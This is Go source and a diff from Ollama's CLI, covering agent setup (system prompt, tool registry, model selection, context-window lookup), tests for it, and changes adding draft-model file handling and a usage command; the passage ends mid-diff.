return agentSystemPromptWithWorkingDir(model, agentSystemFromShow(ctx, client, model), agentSkillSystemContext(skillCatalog, registry, toolsDisabled), cwd)
},
Skills: skillCatalog,
SystemPrompt: systemPrompt,
WorkingDir: cwd,
Format: opts.Format,
Options: opts.Options,
Think: opts.Think,
KeepAlive: opts.KeepAlive,
MultiModal: opts.MultiModal,
AllowAllTools: opts.AllowAllTools,
ContextWindowTokens: opts.ContextWindowTokens,
Compactor: &coreagent.SimpleCompactor{
Client: client,
Options: coreagent.CompactionOptions{ContextWindowTokens: opts.ContextWindowTokens},
},
ContextWindowTokensForModel: func(ctx context.Context, model string, fallback int) int {
return contextWindowForModel(ctx, model, fallback)
},
PreloadModel: func(ctx context.Context, model string, think *api.ThinkValue) (int, error) {
return preloadAgentModelIfLocal(ctx, client, opts, model, think)
},
CheckCloudModel: func(ctx context.Context, model, requiredPlan string) error {
return ensureCloudModelAccess(ctx, client, model, requiredPlan)
},
OpenBrowser: launch.OpenBrowser,
PollCloudAuth: func(ctx context.Context) (string, bool, error) {
user, err := client.Whoami(ctx)
if err != nil {
return "", false, err
}
if user == nil || user.Name == "" {
return "", false, nil
}
return user.Name, true, nil
},
})
return err
}
func agentSkillSystemContext(catalog *coreagent.SkillCatalog, registry *coreagent.Registry, toolsDisabled bool) string {
if toolsDisabled || registry == nil {
return ""
}
if _, ok := registry.Get("skill"); !ok {
return ""
}
return catalog.SystemContext()
}
func selectAgentModel(ctx context.Context, client *api.Client, current string) (string, error) {
models, err := agentModelOptions(ctx, client)
if err != nil {
return "", err
}
if len(models) == 0 {
return "", errors.New("no models available, run 'ollama pull <model>' first")
}
items := agentSelectionItems(models)
switch {
case launch.DefaultSingleSelectorWithUpdates != nil:
return launch.DefaultSingleSelectorWithUpdates("Select model to run:", items, current, nil)
case launch.DefaultSingleSelector != nil:
return launch.DefaultSingleSelector("Select model to run:", items, current)
default:
return "", errors.New("no selector configured")
}
}
func agentSelectionItems(models []agentchat.ModelOption) []launch.SelectionItem {
items := make([]launch.SelectionItem, 0, len(models))
for _, model := range models {
items = append(items, launch.SelectionItem{
Name: model.Name,
Description: agentSelectionDescription(model),
Recommended: model.Recommended,
AvailabilityBadge: model.AvailabilityBadge,
})
}
return items
}
func agentSelectionDescription(model agentchat.ModelOption) string {
return strings.TrimSpace(model.Description)
}
var agentGetwd = os.Getwd
func agentWorkingDir() string {
cwd, err := agentGetwd()
if err != nil {
return ""
}
return cwd
}
func agentSystemPromptWithWorkingDir(modelName string, modelSystem string, extra string, workingDir string) string {
return agentSystemPromptAtWithWorkingDir(time.Now(), modelName, modelSystem, extra, workingDir)
}
func agentSystemPromptAtWithWorkingDir(now time.Time, modelName string, modelSystem string, extra string, workingDir string) string {
var parts []string
parts = append(parts, agentDefaultSystemPromptWithWorkingDir(now, modelName, workingDir))
if strings.TrimSpace(modelSystem) != "" {
parts = append(parts, strings.TrimSpace(modelSystem))
}
if strings.TrimSpace(extra) != "" {
parts = append(parts, strings.TrimSpace(extra))
}
return strings.Join(parts, "\n\n")
}
func agentDefaultSystemPromptWithWorkingDir(now time.Time, modelName string, workingDir string) string {
date := now.Format("Monday, January 2, 2006")
shellName := "bash"
if runtime.GOOS == "windows" {
shellName = "PowerShell"
}
parts := []string{
"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is " + modelName + ".",
"",
"Current date: " + date + ".",
"",
}
parts = append(parts,
"Be concise, practical, and action-oriented. Use tools when they materially help. Verify current or fast-changing facts with web tools when available; otherwise state uncertainty.",
"",
"Use "+shellName+" carefully. Prefer read-only inspection first. Stay within the current working directory unless explicitly asked. Surface intent before risky actions such as writes, deletes, moves, installs, git state changes, service changes, sudo, secrets access, network scripts, or commands outside the working directory. Request approval when required and do not work around denied approvals.",
"",
"Tell the user about meaningful changes, verification, failures, blockers, assumptions, and risks. Summarize routine tool output instead of dumping it.",
)
if workingDir != "" {
parts = append(parts, "Current working directory: "+strconv.Quote(workingDir)+".")
}
return strings.Join(parts, "\n")
}
func agentSystemFromShow(ctx context.Context, client *api.Client, modelName string) string {
if client == nil || strings.TrimSpace(modelName) == "" {
return ""
}
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load model system prompt: %v\n", err)
return ""
}
return resp.System
}
func agentToolsRegistry(ctx context.Context, client *api.Client, modelName string, skillCatalog *coreagent.SkillCatalog) *coreagent.Registry {
supportsTools, err := agentModelSupportsTools(ctx, client, modelName)
if err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
}
if !supportsTools {
return nil
}
registry := &coreagent.Registry{}
if os.Getenv("OLLAMA_AGENT_DISABLE_SHELL") == "" {
registry.Register(&agenttools.Bash{})
}
registry.Register(&agenttools.Read{})
registry.Register(&agenttools.Edit{})
if len(skillCatalog.List()) > 0 {
registry.Register(&agenttools.Skill{Catalog: skillCatalog})
}
if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
registry.Register(&agenttools.WebSearch{})
registry.Register(&agenttools.WebFetch{})
} else {
fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable"))
}
}
return registry
}
func agentModelSupportsTools(ctx context.Context, client *api.Client, modelName string) (bool, error) {
if client == nil || strings.TrimSpace(modelName) == "" {
return false, nil
}
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
return false, err
}
return slices.Contains(resp.Capabilities, model.CapabilityTools), nil
}
func agentModelSupportsMultimodal(ctx context.Context, client *api.Client, modelName string) bool {
if client == nil || strings.TrimSpace(modelName) == "" {
return false
}
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
return false
}
return showResponseSupportsMultimodal(resp)
}
func showResponseSupportsMultimodal(resp *api.ShowResponse) bool {
if resp == nil {
return false
}
if slices.Contains(resp.Capabilities, model.CapabilityVision) || slices.Contains(resp.Capabilities, model.CapabilityAudio) {
return true
}
if len(resp.ProjectorInfo) != 0 {
return true
}
for key := range resp.ModelInfo {
if strings.Contains(key, ".vision.") {
return true
}
}
return false
}
func agentContextWindowForModel(ctx context.Context, client *api.Client, modelName string, fallback int) int {
if client == nil || strings.TrimSpace(modelName) == "" {
return fallback
}
if tokens := loadedContextWindowForModel(ctx, client, modelName); tokens > 0 {
return tokens
}
if modelref.HasExplicitCloudSource(modelName) {
if tokens := agentRecommendationContextWindowForModel(ctx, client, modelName); tokens > 0 {
return tokens
}
}
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
return fallback
}
if tokens := showResponseContextWindow(resp); tokens > 0 {
return tokens
}
return fallback
}
func agentRecommendationContextWindowForModel(ctx context.Context, client *api.Client, modelName string) int {
if client == nil {
return 0
}
recs, err := client.ModelRecommendationsExperimental(ctx)
if err != nil || recs == nil {
return 0
}
return contextWindowFromRecommendations(modelName, recs.Recommendations)
}
func contextWindowFromRecommendations(modelName string, recommendations []api.ModelRecommendation) int {
for _, rec := range recommendations {
if rec.ContextLength <= 0 {
continue
}
if sameModelRef(modelName, rec.Model) {
return rec.ContextLength
}
}
return 0
}
func sameModelRef(a, b string) bool {
a = comparableModelRef(a)
b = comparableModelRef(b)
if strings.EqualFold(a, b) {
return true
}
pa, errA := modelref.ParseRef(a)
pb, errB := modelref.ParseRef(b)
if errA != nil || errB != nil {
return false
}
if !strings.EqualFold(pa.Base, pb.Base) {
return false
}
return pa.Source == pb.Source ||
pa.Source == modelref.ModelSourceUnspecified ||
pb.Source == modelref.ModelSourceUnspecified
}
func comparableModelRef(value string) string {
value = strings.TrimSpace(value)
if strings.HasSuffix(strings.ToLower(value), ":latest") {
return strings.TrimSpace(value[:len(value)-len(":latest")])
}
return value
}
func showResponseContextWindow(resp *api.ShowResponse) int {
if resp == nil {
return 0
}
if resp.Details.ContextLength > 0 {
return resp.Details.ContextLength
}
if n, ok := numericModelInfo(resp.ModelInfo["general.context_length"]); ok {
return n
}
best := 0
for key, value := range resp.ModelInfo {
if key != "context_length" && !strings.HasSuffix(key, ".context_length") {
continue
}
if n, ok := numericModelInfo(value); ok && n > best {
best = n
}
}
return best
}
func numericModelInfo(value any) (int, bool) {
switch v := value.(type) {
case int:
return v, v > 0
case int32:
return int(v), v > 0
case int64:
return int(v), v > 0
case uint:
return int(v), v > 0
case uint32:
return int(v), v > 0
case uint64:
return int(v), v > 0
case float64:
return int(v), v > 0
case string:
n, err := strconv.Atoi(strings.TrimSpace(v))
return n, err == nil && n > 0
default:
return 0, false
}
}
func preloadAgentModelIfLocal(ctx context.Context, client *api.Client, opts agentTUIOptions, modelName string, think *api.ThinkValue) (int, error) {
modelName = strings.TrimSpace(modelName)
if client == nil || modelName == "" {
return 0, nil
}
if modelref.HasExplicitCloudSource(modelName) {
return 0, nil
}
info, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
if err != nil {
return 0, err
}
if info.RemoteHost != "" {
return 0, nil
}
if err := client.Generate(ctx, &api.GenerateRequest{
Model: modelName,
KeepAlive: opts.KeepAlive,
Options: opts.Options,
Think: think,
}, func(api.GenerateResponse) error {
return nil
}); err != nil {
return 0, err
}
return loadedContextWindowForModel(ctx, client, modelName), nil
}
func loadedContextWindowForModel(ctx context.Context, client *api.Client, modelName string) int {
if client == nil || strings.TrimSpace(modelName) == "" {
return 0
}
resp, err := client.ListRunning(ctx)
if err != nil {
return 0
}
return processContextWindowForModel(modelName, resp)
}
func processContextWindowForModel(modelName string, resp *api.ProcessResponse) int {
if resp == nil {
return 0
}
for _, running := range resp.Models {
if running.ContextLength <= 0 {
continue
}
if sameModelRef(modelName, running.Name) || sameModelRef(modelName, running.Model) {
return running.ContextLength
}
}
return 0
}
func agentModelOptions(ctx context.Context, client *api.Client) ([]agentchat.ModelOption, error) {
if client == nil {
return nil, errors.New("model picker requires an API client")
}
list, err := client.List(ctx)
if err != nil {
return nil, err
}
seen := make(map[string]struct{})
var options []agentchat.ModelOption
add := func(name, description string, recommended bool, requiredPlan string, cloud bool) {
name = strings.TrimSpace(name)
if name == "" {
return
}
key := strings.ToLower(name)
if _, ok := seen[key]; ok {
return
}
seen[key] = struct{}{}
options = append(options, agentchat.ModelOption{
Name: name,
Description: strings.TrimSpace(description),
Recommended: recommended,
RequiredPlan: requiredPlan,
Cloud: cloud,
})
}
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
if recs, err := client.ModelRecommendationsExperimental(ctx); err == nil {
for _, rec := range recs.Recommendations {
name := strings.TrimSpace(rec.Model)
if !modelref.HasExplicitCloudSource(name) {
continue
}
add(name, agentRecommendationDescription(rec), true, strings.TrimSpace(rec.RequiredPlan), true)
}
}
}
local := slices.Clone(list.Models)
slices.SortStableFunc(local, func(a, b api.ListModelResponse) int {
return strings.Compare(strings.ToLower(a.Name), strings.ToLower(b.Name))
})
for _, model := range local {
name := strings.TrimSpace(model.Name)
if name == "" {
name = strings.TrimSpace(model.Model)
}
name = strings.TrimSuffix(name, ":latest")
if modelref.HasExplicitCloudSource(name) {
add(name, agentCloudModelDescription(model), false, "", true)
continue
}
add(name, agentLocalModelDescription(model), false, "", false)
}
badges, signInURLs := cloudAvailabilityBadges(ctx, client, options)
for i := range options {
options[i].AvailabilityBadge = badges[options[i].Name]
options[i].SignInURL = signInURLs[options[i].Name]
}
return options, nil
}
func cloudAvailabilityBadges(ctx context.Context, client *api.Client, options []agentchat.ModelOption) (map[string]string, map[string]string) {
badges := make(map[string]string)
signInURLs := make(map[string]string)
hasCloud := false
for _, opt := range options {
if opt.Cloud {
hasCloud = true
break
}
}
if !hasCloud {
return badges, signInURLs
}
if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
return badges, signInURLs
}
whoamiCtx, cancel := context.WithTimeout(ctx, 3*time.Second)
defer cancel()
user, err := client.Whoami(whoamiCtx)
if err != nil {
var authErr api.AuthorizationError
signInURL := ""
if errors.As(err, &authErr) && (authErr.StatusCode == http.StatusUnauthorized || authErr.SigninURL != "") {
if authErr.SigninURL != "" {
signInURL = authErr.SigninURL
}
} else {
return badges, signInURLs
}
for _, opt := range options {
if opt.Cloud {
badges[opt.Name] = "Sign in required"
if signInURL != "" {
signInURLs[opt.Name] = signInURL
}
}
}
return badges, signInURLs
}
signedIn := user != nil && user.Name != ""
for _, opt := range options {
if !opt.Cloud {
continue
}
if !signedIn {
badges[opt.Name] = "Sign in required"
} else if opt.RequiredPlan != "" && !launch.PlanSatisfies(user.Plan, opt.RequiredPlan) {
badges[opt.Name] = "Upgrade required"
}
}
return badges, signInURLs
}
func agentRecommendationDescription(rec api.ModelRecommendation) string {
var parts []string
if description := strings.TrimSpace(rec.Description); description != "" {
parts = append(parts, description)
} else {
parts = append(parts, "cloud")
}
if rec.ContextLength > 0 {
parts = append(parts, format.HumanNumber(uint64(rec.ContextLength))+" ctx")
}
return strings.Join(parts, " - ")
}
func agentLocalModelDescription(model api.ListModelResponse) string {
desc := agentModelArchDescription(model)
if desc == "" {
return "local"
}
return "local - " + desc
}
func agentCloudModelDescription(model api.ListModelResponse) string {
return agentModelArchDescription(model)
}
func agentModelArchDescription(model api.ListModelResponse) string {
var details []string
if model.Details.Family != "" {
details = append(details, model.Details.Family)
}
if ps := humanizedParameterSize(model.Details.ParameterSize); ps != "" {
details = append(details, ps)
}
if model.Details.QuantizationLevel != "" {
details = append(details, model.Details.QuantizationLevel)
}
var parts []string
if len(details) > 0 {
parts = append(parts, strings.Join(details, " "))
}
if model.Details.ContextLength > 0 {
parts = append(parts, format.HumanNumber(uint64(model.Details.ContextLength))+" ctx")
}
return strings.Join(parts, " - ")
}
func humanizedParameterSize(s string) string {
s = strings.TrimSpace(s)
if s == "" {
return ""
}
if f, err := strconv.ParseFloat(s, 64); err == nil {
return format.HumanNumber(uint64(f))
}
return s
}
func agentCloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) {
if internalcloud.Disabled() {
return true, true
}
status, err := client.CloudStatusExperimental(ctx)
if err != nil {
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
return false, false
}
return false, false
}
return status.Cloud.Disabled, true
}
func ensureCloudModelAccess(ctx context.Context, client *api.Client, modelName, requiredPlan string) error {
if client == nil {
return errors.New("no API client available")
}
if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
return errors.New("remote inference is unavailable")
}
user, err := client.Whoami(ctx)
if err != nil {
return err
}
if user != nil && user.Name != "" {
if requiredPlan != "" && !launch.PlanSatisfies(user.Plan, requiredPlan) {
return fmt.Errorf("plan upgrade required: %s needs plan %s, you have %s", modelName, requiredPlan, user.Plan)
}
return nil
}
return fmt.Errorf("%s requires sign in", modelName)
}
+186
View File
@@ -0,0 +1,186 @@
package cmd
import (
"errors"
"os"
"path/filepath"
"strconv"
"strings"
"testing"
"time"
"github.com/spf13/cobra"
coreagent "github.com/ollama/ollama/agent"
agenttools "github.com/ollama/ollama/agent/tools"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/cmd/config"
agentchat "github.com/ollama/ollama/cmd/tui/chat"
)
func TestAgentSystemPromptIncludesSessionWorkingDirOnce(t *testing.T) {
workingDir := t.TempDir()
prompt := agentSystemPromptAtWithWorkingDir(
time.Date(2026, time.July, 14, 0, 0, 0, 0, time.UTC),
"test-model",
"model instruction",
"caller instruction",
workingDir,
)
workingDirInstruction := "Current working directory: " + strconv.Quote(workingDir) + "."
if got := strings.Count(prompt, workingDirInstruction); got != 1 {
t.Fatalf("working directory instruction count = %d, want 1:\n%s", got, prompt)
}
for _, want := range []string{"model instruction", "caller instruction"} {
if !strings.Contains(prompt, want) {
t.Fatalf("prompt missing %q:\n%s", want, prompt)
}
}
}
func TestAgentWorkingDirIgnoresGetwdFailure(t *testing.T) {
original := agentGetwd
agentGetwd = func() (string, error) {
return "", errors.New("getwd failed")
}
t.Cleanup(func() {
agentGetwd = original
})
if got := agentWorkingDir(); got != "" {
t.Fatalf("working directory = %q, want empty on getwd failure", got)
}
}
func TestAgentSystemPromptIncludesSkillCatalog(t *testing.T) {
dir := t.TempDir()
if err := os.Mkdir(filepath.Join(dir, "release-notes"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "release-notes", "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft releases.\n---\nUse bullets."), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := coreagent.DiscoverSkills(dir)
if err != nil {
t.Fatal(err)
}
got := agentSystemPromptAtWithWorkingDir(time.Date(2026, 7, 14, 0, 0, 0, 0, time.UTC), "model", "", catalog.SystemContext(), "")
if !strings.Contains(got, "release-notes: Draft releases.") || !strings.Contains(got, "normal approval rules") {
t.Fatalf("system prompt missing skill context: %q", got)
}
}
func TestAgentSkillSystemContextRequiresAvailableEnabledSkillTool(t *testing.T) {
dir := t.TempDir()
if err := os.Mkdir(filepath.Join(dir, "release-notes"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "release-notes", "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft releases.\n---\nUse bullets."), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := coreagent.DiscoverSkills(dir)
if err != nil {
t.Fatal(err)
}
registry := &coreagent.Registry{}
registry.Register(&agenttools.Skill{Catalog: catalog})
if got := agentSkillSystemContext(catalog, registry, false); !strings.Contains(got, "release-notes: Draft releases.") {
t.Fatalf("enabled skill context = %q", got)
}
if got := agentSkillSystemContext(catalog, registry, true); got != "" {
t.Fatalf("disabled tools should omit skill context, got %q", got)
}
if got := agentSkillSystemContext(catalog, &coreagent.Registry{}, false); got != "" {
t.Fatalf("unavailable skill tool should omit skill context, got %q", got)
}
}
func TestAgentSelectionItemsUseLaunchSections(t *testing.T) {
items := agentSelectionItems([]agentchat.ModelOption{
{Name: "glm-5.2:cloud", Description: "cloud", Recommended: true, Cloud: true},
{Name: "llama3.2", Description: "local"},
})
if len(items) != 2 {
t.Fatalf("items = %d, want 2", len(items))
}
if !items[0].Recommended {
t.Fatalf("cloud recommendation should be pinned: %#v", items[0])
}
if items[1].Recommended {
t.Fatalf("local selected model should stay in launch More section: %#v", items[1])
}
if items[1].Description != "local" {
t.Fatalf("selected model description = %q, want plain description", items[1].Description)
}
}
func TestContextWindowFromRecommendationsMatchesCloudModel(t *testing.T) {
got := contextWindowFromRecommendations("glm-5.2:cloud", []api.ModelRecommendation{
{Model: "gemma4:cloud", ContextLength: 32768},
{Model: "glm-5.2:cloud", ContextLength: 1048576},
})
if got != 1048576 {
t.Fatalf("context window = %d, want 1048576", got)
}
}
func TestShowResponseContextWindowReadsArchitectureContextLength(t *testing.T) {
got := showResponseContextWindow(&api.ShowResponse{
ModelInfo: map[string]any{
"qwen3.context_length": uint32(262144),
"qwen3.rope.scaling.original_context_length": uint32(32768),
},
})
if got != 262144 {
t.Fatalf("context window = %d, want 262144", got)
}
}
func TestProcessContextWindowForModelMatchesLatestAlias(t *testing.T) {
got := processContextWindowForModel("ornith", &api.ProcessResponse{
Models: []api.ProcessModelResponse{
{Name: "other:latest", Model: "other:latest", ContextLength: 32768},
{Name: "ornith:latest", Model: "ornith:latest", ContextLength: 262144},
},
})
if got != 262144 {
t.Fatalf("context window = %d, want 262144", got)
}
}
func TestSaveLastAgentModel(t *testing.T) {
setCmdTestHome(t, t.TempDir())
if err := saveLastAgentModel(" qwen3:8b "); err != nil {
t.Fatalf("saveLastAgentModel returned error: %v", err)
}
if got := config.LastModel(); got != "qwen3:8b" {
t.Fatalf("last model = %q, want qwen3:8b", got)
}
if err := saveLastAgentModel(" "); err != nil {
t.Fatalf("saveLastAgentModel blank returned error: %v", err)
}
if got := config.LastModel(); got != "qwen3:8b" {
t.Fatalf("blank save changed last model to %q", got)
}
}
func TestApplyAgentFlagsNoTools(t *testing.T) {
cmd := &cobra.Command{}
registerAgentFlags(cmd)
if err := cmd.Flags().Set("no-tools", "true"); err != nil {
t.Fatal(err)
}
var opts agentTUIOptions
if _, err := applyAgentFlags(cmd, &opts); err != nil {
t.Fatalf("applyAgentFlags returned error: %v", err)
}
if !opts.ToolsDisabled {
t.Fatal("--no-tools should disable tools")
}
}
+251 -83
View File
@@ -18,6 +18,7 @@ import (
"os"
"os/exec"
"os/signal"
"path"
"path/filepath"
"runtime"
"slices"
@@ -26,6 +27,7 @@ import (
"strings"
"sync/atomic"
"syscall"
"text/tabwriter"
"time"
"github.com/containerd/console"
@@ -41,6 +43,7 @@ import (
"github.com/ollama/ollama/cmd/config"
"github.com/ollama/ollama/cmd/launch"
"github.com/ollama/ollama/cmd/tui"
"github.com/ollama/ollama/discover"
"github.com/ollama/ollama/envconfig"
"github.com/ollama/ollama/format"
"github.com/ollama/ollama/internal/modelref"
@@ -53,7 +56,6 @@ import (
"github.com/ollama/ollama/types/model"
"github.com/ollama/ollama/types/syncmap"
"github.com/ollama/ollama/version"
xcmd "github.com/ollama/ollama/x/cmd"
xcreate "github.com/ollama/ollama/x/create"
xcreateclient "github.com/ollama/ollama/x/create/client"
"github.com/ollama/ollama/x/imagegen"
@@ -94,6 +96,8 @@ func init() {
}
launch.DefaultConfirmPrompt = tui.RunConfirmWithOptions
launch.DefaultSpinner = tui.RunSpinner
}
func runTUISingleSelector(title string, items []launch.SelectionItem, current string, updates <-chan []launch.SelectionItem) (string, error) {
@@ -232,9 +236,6 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
// This gates both safetensors LLM and imagegen model creation
experimental, _ := cmd.Flags().GetBool("experimental")
draftQuantize, _ := cmd.Flags().GetString("draft-quantize")
if draftQuantize != "" && !experimental {
return errors.New("--draft-quantize requires --experimental")
}
if experimental {
if !isLocalhost() {
return errors.New("remote safetensor model creation not yet supported")
@@ -329,6 +330,12 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
if quantize != "" {
req.Quantize = quantize
}
if draftQuantize != "" {
if len(req.DraftFiles) == 0 {
return errors.New("--draft-quantize requires a DRAFT model")
}
req.DraftQuantize = draftQuantize
}
client, err := api.ClientFromEnvironment()
if err != nil {
@@ -339,29 +346,40 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
g.SetLimit(max(runtime.GOMAXPROCS(0)-1, 1))
files := syncmap.NewSyncMap[string, string]()
fileNames := createRequestFileNames(req.Files)
for f, digest := range req.Files {
g.Go(func() error {
if _, err := createBlob(cmd, client, f, digest, p); err != nil {
return err
}
// TODO: this is incorrect since the file might be in a subdirectory
// instead this should take the path relative to the model directory
// but the current implementation does not allow this
files.Store(filepath.Base(f), digest)
files.Store(fileNames[f], digest)
return nil
})
}
adapters := syncmap.NewSyncMap[string, string]()
adapterNames := createRequestFileNames(req.Adapters)
for f, digest := range req.Adapters {
g.Go(func() error {
if _, err := createBlob(cmd, client, f, digest, p); err != nil {
return err
}
// TODO: same here
adapters.Store(filepath.Base(f), digest)
adapters.Store(adapterNames[f], digest)
return nil
})
}
draftFiles := syncmap.NewSyncMap[string, string]()
draftFileNames := createRequestFileNames(req.DraftFiles)
for f, digest := range req.DraftFiles {
g.Go(func() error {
if _, err := createBlob(cmd, client, f, digest, p); err != nil {
return err
}
draftFiles.Store(draftFileNames[f], digest)
return nil
})
}
@@ -372,6 +390,7 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
req.Files = files.Items()
req.Adapters = adapters.Items()
req.DraftFiles = draftFiles.Items()
bars := make(map[string]*progress.Bar)
fn := func(resp api.ProgressResponse) error {
@@ -409,6 +428,65 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
return nil
}
func createRequestFileNames(files map[string]string) map[string]string {
names := make(map[string]string, len(files))
root, ok := commonFileRoot(files)
for f := range files {
name := filepath.Base(f)
if ok {
abs, err := filepath.Abs(f)
if err == nil {
if rel, err := filepath.Rel(root, abs); err == nil && rel != "." && rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
name = rel
}
}
}
names[f] = path.Clean(filepath.ToSlash(name))
}
return names
}
func commonFileRoot(files map[string]string) (string, bool) {
if len(files) < 2 {
return "", false
}
var root string
var volume string
for f := range files {
abs, err := filepath.Abs(f)
if err != nil {
return "", false
}
if nextVolume := filepath.VolumeName(abs); volume == "" {
volume = nextVolume
} else if !strings.EqualFold(volume, nextVolume) {
return "", false
}
dir := filepath.Dir(abs)
if root == "" {
root = dir
continue
}
for {
rel, err := filepath.Rel(root, dir)
if err == nil && (rel == "." || (rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)))) {
break
}
parent := filepath.Dir(root)
if parent == root {
return "", false
}
root = parent
}
}
return root, root != ""
}
func createBlob(cmd *cobra.Command, client *api.Client, path string, digest string, p *progress.Progress) (string, error) {
realPath, err := filepath.EvalSymlinks(path)
if err != nil {
@@ -809,11 +887,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive)
}
// Check for experimental flag
isExperimental, _ := cmd.Flags().GetBool("experimental")
yoloMode, _ := cmd.Flags().GetBool("experimental-yolo")
enableWebsearch, _ := cmd.Flags().GetBool("experimental-websearch")
if interactive {
if err := loadOrUnloadModel(cmd, &opts); err != nil {
var sErr api.AuthorizationError
@@ -840,11 +913,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
}
}
// Use experimental agent loop with tools
if isExperimental {
return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode, enableWebsearch)
}
return generateInteractive(cmd, opts)
}
if err := generate(cmd, opts); err != nil {
@@ -910,6 +978,100 @@ func SignoutHandler(cmd *cobra.Command, args []string) error {
return nil
}
func UsageHandler(cmd *cobra.Command, args []string) error {
out := cmd.OutOrStdout()
client, err := api.ClientFromEnvironment()
if err != nil {
return err
}
usage, err := client.Usage(cmd.Context())
if err != nil {
var aErr api.AuthorizationError
if errors.As(err, &aErr) && aErr.StatusCode == http.StatusUnauthorized {
fmt.Fprintln(out, "You need to be signed in to Ollama to view usage.")
fmt.Fprintln(out)
if aErr.SigninURL != "" {
_ = browser.OpenURL(aErr.SigninURL)
fmt.Fprintf(out, ConnectInstructions, aErr.SigninURL)
}
return nil
}
return err
}
fmt.Fprintln(out, "Usage")
details := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
fmt.Fprintf(details, " Period\t%s to %s\n", usage.Activity.Period.StartingAt.Format("2006-01-02"), usage.Activity.Period.EndingAt.Format("2006-01-02"))
fmt.Fprintf(details, " Spend\t$%s\n", usage.Activity.Cost)
if err := details.Flush(); err != nil {
return err
}
if len(usage.Activity.Models) == 0 && usageLimitEmpty(usage.Limits.Session) && usageLimitEmpty(usage.Limits.Weekly) {
fmt.Fprintln(out)
fmt.Fprintln(out, "No usage recorded for this period.")
return nil
}
if len(usage.Activity.Models) > 0 {
fmt.Fprintln(out)
fmt.Fprintln(out, "Activity")
table := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
fmt.Fprintln(table, " Model\tRequests\tSpend")
for _, m := range usage.Activity.Models {
fmt.Fprintf(table, " %s\t%d\t$%s\n", usageModelName(m.Name), m.RequestCount, m.Cost)
}
if err := table.Flush(); err != nil {
return err
}
}
if err := writeUsageLimit(out, "Session", usage.Limits.Session); err != nil {
return err
}
if err := writeUsageLimit(out, "Weekly", usage.Limits.Weekly); err != nil {
return err
}
return nil
}
func usageLimitEmpty(limit api.UsageLimit) bool {
return limit.Usage == 0 && len(limit.Models) == 0
}
func usageModelName(name string) string {
switch name {
case "web search":
return "Web Search"
case "web fetch":
return "Web Fetch"
default:
return name
}
}
func writeUsageLimit(out io.Writer, name string, limit api.UsageLimit) error {
if usageLimitEmpty(limit) {
return nil
}
fmt.Fprintln(out)
fmt.Fprintln(out, name)
table := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
fmt.Fprintf(table, " Used\t%.1f%%\n", limit.Usage*100)
if len(limit.Models) > 0 {
fmt.Fprintln(table, " Model\tRequests")
}
for _, m := range limit.Models {
fmt.Fprintf(table, " %s\t%d\n", usageModelName(m.Name), m.RequestCount)
}
return table.Flush()
}
func PushHandler(cmd *cobra.Command, args []string) error {
client, err := api.ClientFromEnvironment()
if err != nil {
@@ -1277,11 +1439,28 @@ func showInfo(resp *api.ShowResponse, verbose bool, w io.Writer) error {
if resp.ProjectorInfo != nil {
tableRender("Projector", func() (rows [][]string) {
arch := resp.ProjectorInfo["general.architecture"].(string)
rows = append(rows, []string{"", "architecture", arch})
rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(resp.ProjectorInfo["general.parameter_count"].(float64)))})
rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.embedding_length", arch)].(float64), 'f', -1, 64)})
rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.projection_dim", arch)].(float64), 'f', -1, 64)})
arch, _ := resp.ProjectorInfo["general.architecture"].(string)
if arch != "" {
rows = append(rows, []string{"", "architecture", arch})
}
if v, ok := resp.ProjectorInfo["general.parameter_count"].(float64); ok {
rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(v))})
}
projectorValue := func(suffix string) (float64, bool) {
for _, modality := range []string{"vision", "audio"} {
if v, ok := resp.ProjectorInfo[fmt.Sprintf("%s.%s.%s", arch, modality, suffix)].(float64); ok {
return v, true
}
}
return 0, false
}
if v, ok := projectorValue("embedding_length"); ok {
